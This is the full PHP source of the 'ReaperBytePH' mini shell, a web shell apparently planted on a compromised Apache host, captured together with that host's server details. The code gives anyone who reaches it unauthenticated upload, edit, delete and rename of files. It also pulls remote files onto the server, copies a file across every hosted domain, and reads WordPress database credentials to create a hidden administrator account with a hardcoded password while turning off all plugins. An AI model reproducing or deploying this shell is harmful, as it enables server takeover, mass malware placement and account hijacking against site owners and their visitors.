Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /home/jackjohn/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jackjohn/public_html/one.php
<?php
$d = isset($_GET['d']) ? $_GET['d'] : getcwd();
$d = str_replace("\\", "/", $d);
if (!isset($_SESSION)) session_start();

function ad() {
    $p = array('/home/*/domains','/home/*/public_html','/var/www','/home/*/www','/home/*/web','/home/*/*/public_html','/home/*');
    $u = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : array('name' => 'unknown');
    if (is_array($u)) $u = 'unknown'; else $u = $u['name'];
    foreach ($p as $pth) {
        $ep = str_replace('*', $u, $pth);
        if (is_dir($ep)) return $ep;
    }
    return getcwd();
}

function gd($bd) {
    $sd = array();
    if (is_dir($bd)) {
        $dd = glob($bd . '/*', GLOB_ONLYDIR);
        if ($dd) {
            foreach ($dd as $ddr) {
                $dn = basename($ddr);
                if (strpos($dn, '.') !== false || preg_match('/\.(com|net|org|in|co|info|biz|us|uk|ca|au)$/i', $dn)) {
                    $ph = $ddr . '/public_html';
                    if (is_dir($ph)) {
                        $sd[] = array('name'=>$dn,'path'=>$ph,'url'=>'https://'.$dn);
                    } else {
                        $sd[] = array('name'=>$dn,'path'=>$ddr,'url'=>'https://'.$dn);
                    }
                }
            }
        }
    }
    return $sd;
}

function md($sf, $bd) {
    $r = array();
    $sd = gd($bd);
    $t = count($sd);
    $p = 0;
    if (!file_exists($sf)) return array("error"=>"Source file not found: $sf");
    $fc = file_get_contents($sf);
    if ($fc === false) return array("error"=>"Cannot read source file: $sf");
    $fn = basename($sf);
    foreach ($sd as $s) {
        $p++;
        $tf = $s['path'] . '/' . $fn;
        $td = dirname($tf);
        if (!is_dir($td)) {
            if (!mkdir($td, 0755, true)) {
                $r[] = "[$p/$t] Failed to create directory: " . $s['name'];
                continue;
            }
        }
        if (file_put_contents($tf, $fc)) {
            $r[] = "[$p/$t] Deployed to: " . $s['name'] . " (" . $s['path'] . ")";
        } else {
            $r[] = "[$p/$t] Failed: " . $s['name'];
        }
    }
    return $r;
}

function mdd($bd, $fn) {
    $r = array();
    $sd = gd($bd);
    $t = count($sd);
    $p = 0;
    foreach ($sd as $s) {
        $p++;
        $tf = $s['path'] . '/' . $fn;
        if (file_exists($tf) && unlink($tf)) {
            $r[] = "[$p/$t] Deleted from: " . $s['name'];
        } else {
            $r[] = "[$p/$t] Not found: " . $s['name'];
        }
    }
    return $r;
}

function wp() {
    $cd = getcwd();
    $wp = null;
    $wd = null;
    $sd = $cd;
    for ($i = 0; $i < 10; $i++) {
        $cp = $sd . '/wp-config.php';
        if (file_exists($cp)) {
            $wp = $cp;
            $wd = $sd;
            break;
        }
        if ($sd === '/' || $sd === dirname($sd)) break;
        $sd = dirname($sd);
    }
    if (!$wp) return array('error'=>'WordPress not found');
    
    $nl = 'ReaperBythe222@';
    $np = 'ReaperBythe222@';
    $ne = 'admin@example.com';
    
    class PH {
        var $i = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
        var $c = 8;
        var $p = true;
        var $r;
        
        function __construct() {
            $this->r = microtime() . uniqid(rand(), true);
        }
        
        function g($n) {
            $o = '';
            if (($fh = @fopen('/dev/urandom', 'rb'))) {
                $o = fread($fh, $n);
                fclose($fh);
            }
            if (strlen($o) < $n) {
                $o = '';
                for ($i = 0; $i < $n; $i += 16) {
                    $this->r = md5(microtime() . $this->r);
                    $o .= pack('H*', md5($this->r));
                }
                $o = substr($o, 0, $n);
            }
            return $o;
        }
        
        function e($i, $n) {
            $o = '';
            $x = 0;
            do {
                $v = ord($i[$x++]);
                $o .= $this->i[$v & 0x3f];
                if ($x < $n) $v |= ord($i[$x]) << 8;
                else $o .= $this->i[($v >> 6) & 0x3f];
                if ($x++ >= $n) break;
                if ($x < $n) $v |= ord($i[$x]) << 16;
                else $o .= $this->i[($v >> 12) & 0x3f];
                $o .= $this->i[($v >> 18) & 0x3f];
            } while ($x < $n);
            return $o;
        }
        
        function gs($i) {
            $o = '$P$';
            $o .= $this->i[min($this->c + 5, 30)];
            $o .= $this->e($i, 6);
            return $o;
        }
        
        function cp($p, $s) {
            $o = '*0';
            if (substr($s, 0, 2) === $o) $o = '*1';
            $id = substr($s, 0, 3);
            if ($id !== '$P$' && $id !== '$H$') return $o;
            $cl = strpos($this->i, $s[3]);
            if ($cl < 7 || $cl > 30) return $o;
            $c = 1 << $cl;
            $sa = substr($s, 4, 8);
            if (strlen($sa) !== 8) return $o;
            $h = md5($sa . $p, true);
            do {
                $h = md5($h . $p, true);
            } while (--$c);
            $o = substr($s, 0, 12);
            $o .= $this->e($h, 16);
            return $o;
        }
        
        function hp($p) {
            $r = $this->g(6);
            $h = $this->cp($p, $this->gs($r));
            if (strlen($h) === 34) return $h;
            return md5($p);
        }
    }
    
    $con = file_get_contents($wp);
    preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $con, $m);
    $dbn = isset($m[1]) ? $m[1] : null;
    preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $con, $m);
    $dbu = isset($m[1]) ? $m[1] : null;
    preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $con, $m);
    $dbp = isset($m[1]) ? $m[1] : null;
    preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $con, $m);
    $dbh = isset($m[1]) ? $m[1] : null;
    preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/", $con, $m);
    $tp = isset($m[1]) ? $m[1] : 'wp_';
    
    if (!$dbn || !$dbu || !$dbp || !$dbh) return array('error'=>'DB config error');
    
    $mysqli = @new mysqli($dbh, $dbu, $dbp, $dbn);
    if ($mysqli->connect_error) return array('error'=>'DB connect failed');
    
    $ph = new PH();
    $phash = $ph->hp($np);
    
    $stmt = $mysqli->prepare("SELECT ID FROM `{$tp}users` WHERE user_login = ?");
    if ($stmt) {
        $stmt->bind_param('s', $nl);
        $stmt->execute();
        $stmt->bind_result($eid);
        $ue = $stmt->fetch();
        $stmt->close();
    } else {
        $ue = false;
    }
    
    if ($ue) {
        $stmt = $mysqli->prepare("UPDATE `{$tp}users` SET user_pass = ?, user_email = ? WHERE ID = ?");
        if ($stmt) {
            $stmt->bind_param('ssi', $phash, $ne, $eid);
            if (!$stmt->execute()) return array('error'=>'Update failed');
            $stmt->close();
        }
        $ac = 'updated';
    } else {
        $tm = date('Y-m-d H:i:s');
        $stmt = $mysqli->prepare("INSERT INTO `{$tp}users` (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (?, ?, ?, ?, '', ?, '', 0, ?)");
        if ($stmt) {
            $un = strtolower($nl);
            $dn = $nl;
            $stmt->bind_param('sssssss', $nl, $phash, $un, $ne, $tm, $dn);
            if (!$stmt->execute()) return array('error'=>'Create failed');
            $nid = $stmt->insert_id;
            $stmt->close();
            
            $ck = $tp . 'capabilities';
            $lk = $tp . 'user_level';
            $ca = serialize(array('administrator' => true));
            
            $stmt = $mysqli->prepare("INSERT INTO `{$tp}usermeta` (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
            if ($stmt) {
                $stmt->bind_param('iss', $nid, $ck, $ca);
                $stmt->execute();
                $stmt->close();
            }
            
            $ul = 10;
            $lv = (string)$ul;
            $stmt = $mysqli->prepare("INSERT INTO `{$tp}usermeta` (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
            if ($stmt) {
                $stmt->bind_param('iss', $nid, $lk, $lv);
                $stmt->execute();
                $stmt->close();
            }
        }
        $ac = 'created';
    }
    
    $ep = serialize(array());
    $stmt = $mysqli->prepare("UPDATE `{$tp}options` SET option_value = ? WHERE option_name = 'active_plugins'");
    if ($stmt) {
        $stmt->bind_param('s', $ep);
        $stmt->execute();
        $stmt->close();
    }
    
    $mysqli->close();
    
    $prot = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? "https://" : "http://";
    $host = $_SERVER['HTTP_HOST'];
    $lu = $prot . $host . '/wp-login.php';
    
    return array('success'=>"WordPress user $ac!",'creds'=>"User: $nl | Pass: $np",'url'=>$lu,'dir'=>$cd,'wp'=>$wd);
}

$db = isset($_COOKIE['baseDir']) ? $_COOKIE['baseDir'] : ad();
if (isset($_POST['baseDir'])) {
    $db = $_POST['baseDir'];
    setcookie("baseDir", $db, time() + 3600);
}

if (isset($_POST['mass_deploy'])) {
    $sf = isset($_POST['deploy_file_path']) ? $_POST['deploy_file_path'] : '';
    if (isset($_POST['custom_base_dir']) && !empty($_POST['custom_base_dir'])) $db = $_POST['custom_base_dir'];
    if (empty($sf) || !file_exists($sf)) {
        $_SESSION['mass_deploy_results'] = array("error" => "Source file not found: $sf");
        header("Location: ?d=" . urlencode($d));
        exit;
    }
    $results = md($sf, $db);
    $_SESSION['mass_deploy_results'] = $results;
    $_SESSION['mass_deploy_source'] = $sf;
    $_SESSION['mass_deploy_base'] = $db;
    header("Location: ?d=" . urlencode($d));
    exit;
}

if (isset($_POST['mass_delete'])) {
    $sf = isset($_POST['deploy_file_path']) ? $_POST['deploy_file_path'] : '';
    if (isset($_POST['custom_base_dir']) && !empty($_POST['custom_base_dir'])) $db = $_POST['custom_base_dir'];
    $fn = basename($sf);
    $results = mdd($db, $fn);
    $_SESSION['mass_delete_results'] = $results;
    $_SESSION['mass_delete_filename'] = $fn;
    $_SESSION['mass_delete_base'] = $db;
    header("Location: ?d=" . urlencode($d));
    exit;
}

if (isset($_POST['wp_change'])) {
    $result = wp();
    $_SESSION['wp_results'] = $result;
    header("Location: ?d=" . urlencode($d));
    exit;
}

if (isset($_POST['s']) && isset($_FILES['u'])) {
    if ($_FILES['u']['error'] == 0) {
        $fn = $_FILES['u']['name'];
        $tn = $_FILES['u']['tmp_name'];
        $ds = $d . '/' . $fn;
        if (move_uploaded_file($tn, $ds)) {
            $_SESSION['upload_result'] = "SUCCESS: File uploaded successfully!";
        } else {
            $_SESSION['upload_result'] = "ERROR: Upload failed!";
        }
    } else {
        $_SESSION['upload_result'] = "ERROR: Upload error: " . $_FILES['u']['error'];
    }
    header("Location: ?d=" . urlencode($d));
    exit;
}

if (isset($_POST['del'])) {
    $fp = $_POST['del'];
    if (@unlink($fp)) {
        $_SESSION['delete_result'] = "SUCCESS: File deleted successfully!";
    } else {
        $_SESSION['delete_result'] = "ERROR: Delete failed!";
    }
    header("Location: ?d=" . urlencode($d));
    exit;
}

if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
    $fp = $_POST['obj'];
    if (file_put_contents($fp, $_POST['content'])) {
        $_SESSION['save_result'] = "SUCCESS: File saved successfully!";
    } else {
        $_SESSION['save_result'] = "ERROR: Save failed!";
    }
    $fd = dirname($fp);
    header("Location: ?d=" . urlencode($fd));
    exit;
}

if (isset($_POST['ren']) && isset($_POST['new'])) {
    $op = $_POST['ren'];
    $np = dirname($op) . '/' . $_POST['new'];
    if (rename($op, $np)) {
        $_SESSION['rename_result'] = "SUCCESS: File renamed successfully!";
    } else {
        $_SESSION['rename_result'] = "ERROR: Rename failed!";
    }
    $od = dirname($op);
    header("Location: ?d=" . urlencode($od));
    exit;
}

if (isset($_SESSION['upload_result'])) {
    echo "<div style='position:fixed;top:10px;right:10px;padding:15px;border-radius:5px;z-index:9999;font-weight:bold;";
    if (strpos($_SESSION['upload_result'], 'SUCCESS') !== false) echo "background:#4CAF50;color:white;border:2px solid #45a049;";
    else echo "background:#f44336;color:white;border:2px solid #d32f2f;";
    echo "'>" . $_SESSION['upload_result'] . "</div>";
    echo "<script>setTimeout(function(){var d=document.querySelector('div[style*=\"position:fixed\"]');if(d)d.style.display='none';},3000);</script>";
    unset($_SESSION['upload_result']);
}

if (isset($_SESSION['delete_result'])) {
    echo "<div style='position:fixed;top:10px;right:10px;padding:15px;border-radius:5px;z-index:9999;font-weight:bold;";
    if (strpos($_SESSION['delete_result'], 'SUCCESS') !== false) echo "background:#4CAF50;color:white;border:2px solid #45a049;";
    else echo "background:#f44336;color:white;border:2px solid #d32f2f;";
    echo "'>" . $_SESSION['delete_result'] . "</div>";
    echo "<script>setTimeout(function(){var d=document.querySelector('div[style*=\"position:fixed\"]');if(d)d.style.display='none';},3000);</script>";
    unset($_SESSION['delete_result']);
}

if (isset($_POST['wget_url'])) {
    $url = $_POST['wget_url'];
    $fn = basename($url);
    $content = @file_get_contents($url);
    if ($content !== false && file_put_contents($d . '/' . $fn, $content)) {
        $_SESSION['upload_result'] = "SUCCESS: Downloaded $fn";
    } else {
        $_SESSION['upload_result'] = "ERROR: Download failed";
    }
    header("Location: ?d=" . urlencode($d));
    exit;
}
?>
<!DOCTYPE html>
<html>
<head><title>RBP Mini Shell</title>
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#0c0c0c;color:#fff;min-height:100vh;}
.header{background:#0c0c0c;padding:15px 0;border-bottom:2px solid #333;text-align:center;}
.logo-container{display:flex;align-items:center;justify-content:center;gap:15px;margin-bottom:15px;}
.logo{width:50px;height:50px;border-radius:50%;}
.logo-text{font-size:24px;font-weight:bold;background:linear-gradient(45deg,#fff,#000);background-size:200% 200%;-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;text-shadow:0 0 10px #fff,0 0 20px #fff,0 0 30px #fff;}
.mini-text{font-size:14px;color:#aaa;margin-top:5px;font-style:italic;}
.toolbar{background:#1a1a1a;padding:10px;text-align:center;border-bottom:1px solid #333;}
.tool-button{display:inline-block;margin:5px;padding:8px 16px;background:#1a1a1a;color:white;text-decoration:none;border-radius:5px;border:1px solid #555;font-size:12px;cursor:pointer;transition:all 0.3s ease;}
.tool-button:hover{background:#333;border-color:#777;}
.upload-section{background:#1a1a1a;padding:15px;text-align:center;border-bottom:1px solid #333;}
.dir-path{background:#1a1a1a;padding:10px;margin:0;border-bottom:1px solid #333;font-size:14px;color:white;}
.dir-path a{color:white;text-decoration:none;font-weight:bold;}
.dir-path a:hover{text-decoration:underline;color:#4fc3f7;}
.file-list{margin:10px;}
.file-item{display:flex;align-items:center;padding:8px;margin:2px 0;background:#1a1a1a;border-radius:5px;border:1px solid #333;transition:all 0.2s ease;color:white;}
.file-item:hover{background:#222;border-color:#555;}
.file-icon{width:30px;text-align:center;font-size:16px;}
.file-name{flex:1;padding:0 10px;cursor:pointer;color:white;}
.file-size{width:80px;text-align:right;font-size:12px;color:#aaa;}
.file-actions{width:250px;text-align:right;}
.file-actions button{margin-left:5px;padding:3px 8px;background:#1a1a1a;color:white;border:1px solid #555;border-radius:3px;cursor:pointer;font-size:11px;}
.file-actions button:hover{background:#333;}
.popup-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:1000;}
.popup-content{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:#1a1a1a;padding:20px;border-radius:10px;border:2px solid #444;color:#fff;width:700px;max-height:80vh;overflow-y:auto;}
.popup-content input[type="text"],.popup-content textarea{width:100%;padding:10px;margin:10px 0;background:#2a2a2a;border:1px solid #444;border-radius:5px;color:#fff;}
.popup-content button{padding:8px 15px;background:#1a1a1a;color:white;border:1px solid #555;border-radius:5px;cursor:pointer;margin:5px;}
.popup-content button:hover{background:#333;}
.results-popup{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.9);z-index:2000;}
.results-content{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:#1a1a1a;padding:20px;border-radius:10px;border:2px solid #444;color:#fff;width:800px;max-height:80vh;overflow-y:auto;}
.success-box{background:#1a3c1a;border:2px solid #4CAF50;border-radius:8px;padding:20px;margin:15px 0;}
.login-link{display:inline-block;background:#4CAF50;color:white;padding:12px 24px;text-decoration:none;border-radius:5px;font-weight:bold;margin:10px 0;transition:all 0.3s ease;}
.login-link:hover{background:#45a049;transform:translateY(-2px);}
.error-box{background:#3c1a1a;border:2px solid #f44336;border-radius:8px;padding:20px;margin:15px 0;}
</style>
</head>
<body>
<div class="header">
<div class="logo-container">
<img src="https://i.ibb.co/XZfn7cGz/1764515071979.jpg" class="logo" alt="RBP Logo">
<div><div class="logo-text">ReaperBytePH</div><div class="mini-text">- Mini Shell</div></div>
</div>
<div class="toolbar">
<button class="tool-button" onclick="sm('wgetPopup')">WGET</button>
<button class="tool-button" onclick="sm('wpPopup')">WP Creds</button>
<button class="tool-button" onclick="sm('massDeployPopup')">Mass Deploy</button>
</div>
<div class="upload-section">
<form method="post" enctype="multipart/form-data">
<input type="file" name="u" style="color:#fff;background:#333;padding:5px;border-radius:3px;border:1px solid #555;">
<input type="submit" name="s" value="Upload" class="tool-button">
</form>
</div>
</div>

<div id="resultsPopup" class="results-popup">
<div class="results-content">
<?php
if(isset($_SESSION['mass_deploy_results'])){
$r=$_SESSION['mass_deploy_results'];$sf=$_SESSION['mass_deploy_source'];$bd=$_SESSION['mass_deploy_base'];
echo'<h3>Mass Deploy Results</h3><p><strong>Source File:</strong>'.htmlspecialchars($sf).'</p><p><strong>Base Directory:</strong>'.htmlspecialchars($bd).'</p><div style="max-height:400px;overflow-y:auto;border:1px solid #444;padding:10px;background:#2a2a2a;">';
if(isset($r['error'])){echo'<p style="color:red;">'.htmlspecialchars($r['error']).'</p>';}else{foreach($r as $res){$c=strpos($res,'Deployed')!==false?'lime':(strpos($res,'Failed')!==false?'red':'yellow');echo'<p style="color:'.$c.';margin:2px 0;font-size:12px;">'.htmlspecialchars($res).'</p>';}}
echo'</div>';unset($_SESSION['mass_deploy_results'],$_SESSION['mass_deploy_source'],$_SESSION['mass_deploy_base']);}
if(isset($_SESSION['wp_results'])){
$r=$_SESSION['wp_results'];
echo'<h3>WordPress Credentials</h3>';
if(isset($r['error'])){echo'<div class="error-box"><p style="color:#ff6b6b;font-size:16px;">'.htmlspecialchars($r['error']).'</p></div>';}elseif(isset($r['success'])){
echo'<div class="success-box"><p style="color:#4CAF50;font-size:18px;font-weight:bold;">'.htmlspecialchars($r['success']).'</p><p style="color:#fff;margin:10px 0;"><strong>'.htmlspecialchars($r['creds']).'</strong></p>';
if(isset($r['url'])){echo'<a href="'.htmlspecialchars($r['url']).'" target="_blank" class="login-link">Login to WordPress</a><p style="color:#ccc;font-size:14px;">Login URL: '.htmlspecialchars($r['url']).'</p>';}
echo'</div>';}
unset($_SESSION['wp_results']);}
?>
<div style="text-align:center;margin-top:15px;"><button class="tool-button" onclick="cm('resultsPopup')">Close</button></div>
</div>
</div>

<div id="wgetPopup" class="popup-overlay">
<div class="popup-content">
<h3>WGET Download</h3>
<p>Enter URL to download file:</p>
<input type="text" id="wgetUrl" placeholder="https://example.com/file.txt" value="https://">
<div style="text-align:center;margin-top:15px;">
<button class="tool-button" onclick="sw()">Download</button>
<button class="tool-button" onclick="cm('wgetPopup')">Cancel</button>
</div>
</div>
</div>

<div id="wpPopup" class="popup-overlay">
<div class="popup-content">
<h3>WordPress Credentials Changer</h3>
<p>This will change WordPress admin credentials to:</p>
<p style="background:#2a2a2a;padding:10px;border-radius:5px;border:1px solid #444;">
Username: <strong>ReaperBythe222@</strong><br>
Password: <strong>ReaperBythe222@</strong>
</p>
<p style="color:#ccc;font-size:12px;">Current directory: <?php echo htmlspecialchars($d); ?></p>
<div style="text-align:center;margin-top:15px;">
<button class="tool-button" style="background:#4CAF50;border-color:#4CAF50;" onclick="swp()">Change WP Creds</button>
<button class="tool-button" onclick="cm('wpPopup')">Cancel</button>
</div>
</div>
</div>

<div id="massDeployPopup" class="popup-overlay">
<div class="popup-content">
<h3>Auto Mass Deploy</h3>
<div style="background:#2a2a2a;border:1px solid #444;border-radius:5px;padding:10px;margin:10px 0;max-height:150px;overflow-y:auto;">
<p>Auto-detected base directory: <?php echo htmlspecialchars($db); ?></p>
<?php $dm=gd($db); if(count($dm)===0){echo'<p style="color:red;">No domains found!</p>';}else{echo'<p style="color:lime;">Found '.count($dm).' domains</p>';foreach($dm as $dmn){$ic=is_dir($dmn['path'])?'&#10003;':'&#10007;';$cl=is_dir($dmn['path'])?'#4CAF50':'#f44336';echo'<div style="padding:3px;margin:1px 0;font-size:11px;color:'.$cl.'">'.$ic.' '.htmlspecialchars($dmn['name']).' -&gt; '.htmlspecialchars($dmn['path']).'</div>';}}?>
</div>
<div style="margin:10px 0;padding:10px;background:#2a2a2a;border:1px solid #444;border-radius:5px;">
<p><strong>Custom Base Directory:</strong></p>
<input type="text" id="custom_base_dir" placeholder="/home/db/" value="<?php echo htmlspecialchars($db); ?>" style="width:100%;padding:8px;background:#2a2a2a;border:1px solid #444;border-radius:3px;color:#fff;">
</div>
<p><strong>Select File to Deploy:</strong></p>
<div style="background:#2a2a2a;border:1px solid #444;border-radius:5px;padding:10px;margin:10px 0;max-height:200px;overflow-y:auto;">
<?php $fl=array();if(is_dir($d)&&$h=opendir($d)){while(false!==($e=readdir($h))){if($e!="."&&$e!=".."&&!is_dir($d.'/'.$e))$fl[]=$e;}closedir($h);}foreach($fl as $f){echo'<div style="padding:5px;margin:2px 0;background:#333;border-radius:3px;cursor:pointer;font-size:12px;" onclick="sf(\''.htmlspecialchars($f,ENT_QUOTES).'\')">'.htmlspecialchars($f).'</div>';}?>
</div>
<p><strong>Selected File Path:</strong></p>
<input type="text" id="deploy_file_path" placeholder="/path/to/file.html" readonly>
<div style="text-align:center;margin-top:15px;">
<button class="tool-button" onclick="sd()">Deploy to All Domains</button>
<button class="tool-button" onclick="sdd()">Delete from All Domains</button>
<button class="tool-button" onclick="cm('massDeployPopup')">Cancel</button>
</div>
</div>
</div>

<script>
function pd(dir){window.location.href='?d='+encodeURIComponent(dir);}
function pdl(path){if(confirm('Delete this file?')){var f=document.createElement("form");f.method="post";f.action="";var i=document.createElement("input");i.name="del";i.value=path;f.appendChild(i);document.body.appendChild(f);f.submit();}}
function pe(path){var f=document.createElement("form");f.method="post";f.action="";var i=document.createElement("input");i.name="edit";i.value=path;f.appendChild(i);document.body.appendChild(f);f.submit();}
function pr(path,name){var nn=prompt("New name:",name);if(nn&&nn!==name){var f=document.createElement("form");f.method="post";f.action="";var i1=document.createElement("input");i1.name="ren";i1.value=path;var i2=document.createElement("input");i2.name="new";i2.value=nn;f.appendChild(i1);f.appendChild(i2);document.body.appendChild(f);f.submit();}}
function sf(filename){var i=document.getElementsByTagName('div');for(var x=0;x<i.length;x++){if(i[x].style.cssText.indexOf('cursor:pointer')!==-1)i[x].style.background='#333';}event.target.style.background='#007acc';document.getElementById('deploy_file_path').value='<?php echo addslashes($d); ?>/'+filename;}
function sm(popupId){document.getElementById(popupId).style.display='block';}
function cm(popupId){document.getElementById(popupId).style.display='none';}
function sw(){var u=document.getElementById('wgetUrl').value;if(u){var f=document.createElement("form");f.method="post";f.action="";var i=document.createElement("input");i.name="wget_url";i.value=u;f.appendChild(i);document.body.appendChild(f);f.submit();}}
function swp(){var f=document.createElement("form");f.method="post";f.action="";var i=document.createElement("input");i.name="wp_change";i.value="1";f.appendChild(i);document.body.appendChild(f);f.submit();}
function sd(){var f=document.createElement("form");f.method="post";f.action="";var i1=document.createElement("input");i1.name="deploy_file_path";i1.value=document.getElementById('deploy_file_path').value;var i2=document.createElement("input");i2.name="mass_deploy";i2.value="1";var cbd=document.getElementById('custom_base_dir').value;if(cbd&&cbd.replace(/^\s+|\s+$/g,'')!==''){var i3=document.createElement("input");i3.name="custom_base_dir";i3.value=cbd;f.appendChild(i3);}f.appendChild(i1);f.appendChild(i2);document.body.appendChild(f);f.submit();}
function sdd(){var f=document.createElement("form");f.method="post";f.action="";var i1=document.createElement("input");i1.name="deploy_file_path";i1.value=document.getElementById('deploy_file_path').value;var i2=document.createElement("input");i2.name="mass_delete";i2.value="1";var cbd=document.getElementById('custom_base_dir').value;if(cbd&&cbd.replace(/^\s+|\s+$/g,'')!==''){var i3=document.createElement("input");i3.name="custom_base_dir";i3.value=cbd;f.appendChild(i3);}f.appendChild(i1);f.appendChild(i2);document.body.appendChild(f);f.submit();}
window.onload=function(){<?php if(isset($_SESSION['mass_deploy_results'])||isset($_SESSION['wp_results'])):?>document.getElementById('resultsPopup').style.display='block';<?php endif;?>};
</script>

<?php
$pp=explode("/",$d);echo"<div class=\"dir-path\">";foreach($pp as $k=>$v){if($v==""&&$k==0){echo"<a href=\"javascript:void(0);\" onclick=\"pd('/')\">/</a>";continue;}$dp=implode("/",array_slice($pp,0,$k+1));echo"<a href=\"javascript:void(0);\" onclick=\"pd('".addslashes($dp)."')\">$v</a>/";}echo"</div>";
$it=@scandir($d);if($it!==false){echo"<div class='file-list'>";foreach($it as $item){$fp=$d.'/'.$item;if($item=='.'||$item=='..')continue;if(is_dir($fp)){echo"<div class='file-item folder' onclick=\"pd('".addslashes($fp)."')\"><div class='file-icon'>?</div><div class='file-name'>$item</div><div class='file-size'>--</div><div class='file-actions'><button onclick=\"pr('".addslashes($fp)."','$item')\">Rename</button></div></div>";}else{$sz=filesize($fp);$szf=$sz>=1048576?round($sz/1048576,2).' MB':($sz>=1024?round($sz/1024,2).' KB':$sz.' B');echo"<div class='file-item file'><div class='file-icon'>?</div><div class='file-name' onclick=\"window.open('".addslashes($fp)."','_blank')\">$item</div><div class='file-size'>$szf</div><div class='file-actions'><button onclick=\"pdl('".addslashes($fp)."')\">Delete</button><button onclick=\"pe('".addslashes($fp)."')\">Edit</button><button onclick=\"pr('".addslashes($fp)."','$item')\">Rename</button></div></div>";}}echo"</div>";}else{echo"<p>Unable to read directory!</p>";}
if(isset($_POST['edit'])){
$fp=$_POST['edit'];$fd=dirname($fp);echo"<style>.file-list{display:none;}</style><div style='padding:20px;'><a href=\"javascript:void(0);\" onclick=\"pd('".addslashes($fd)."')\" style='color:white;text-decoration:none;font-weight:bold;'>&larr; Back</a><h3 style='color:white;margin:15px 0;'>Editing: ".basename($fp)."</h3><form method=\"post\"><input type=\"hidden\" name=\"obj\" value=\"".htmlspecialchars($_POST['edit'])."\"><input type=\"hidden\" name=\"d\" value=\"".urlencode($fd)."\"><textarea name=\"content\" style='width:100%;height:500px;background:#1a1a1a;color:#fff;border:1px solid #444;border-radius:5px;padding:15px;font-family:monospace;'>".htmlspecialchars(file_get_contents($fp))."</textarea><div style='text-align:center;margin-top:15px;'><button type=\"submit\" name=\"save\" class=\"tool-button\" style='padding:10px 20px;font-size:14px;'>Save File</button></div></form></div>";}
if(isset($_POST['ren'])&&!isset($_POST['new'])){
$op=$_POST['ren'];$od=dirname($op);echo"<style>.file-list{display:none;}</style><div style='padding:20px;'><a href=\"javascript:void(0);\" onclick=\"pd('".addslashes($od)."')\" style='color:white;text-decoration:none;font-weight:bold;'>&larr; Back</a><h3 style='color:white;margin:15px 0;'>Renaming: ".basename($op)."</h3><form method=\"post\"><input type=\"hidden\" name=\"ren\" value=\"".htmlspecialchars($_POST['ren'])."\"><input type=\"hidden\" name=\"d\" value=\"".urlencode($od)."\"><p>New Name: <input name=\"new\" type=\"text\" value=\"".basename($op)."\" style='color:#000;padding:5px;'></p><input type=\"submit\" value=\"Rename\" class=\"tool-button\" style='padding:10px 20px;font-size:14px;'></form></div>";}
?>
</body>
</html>

haha - 2025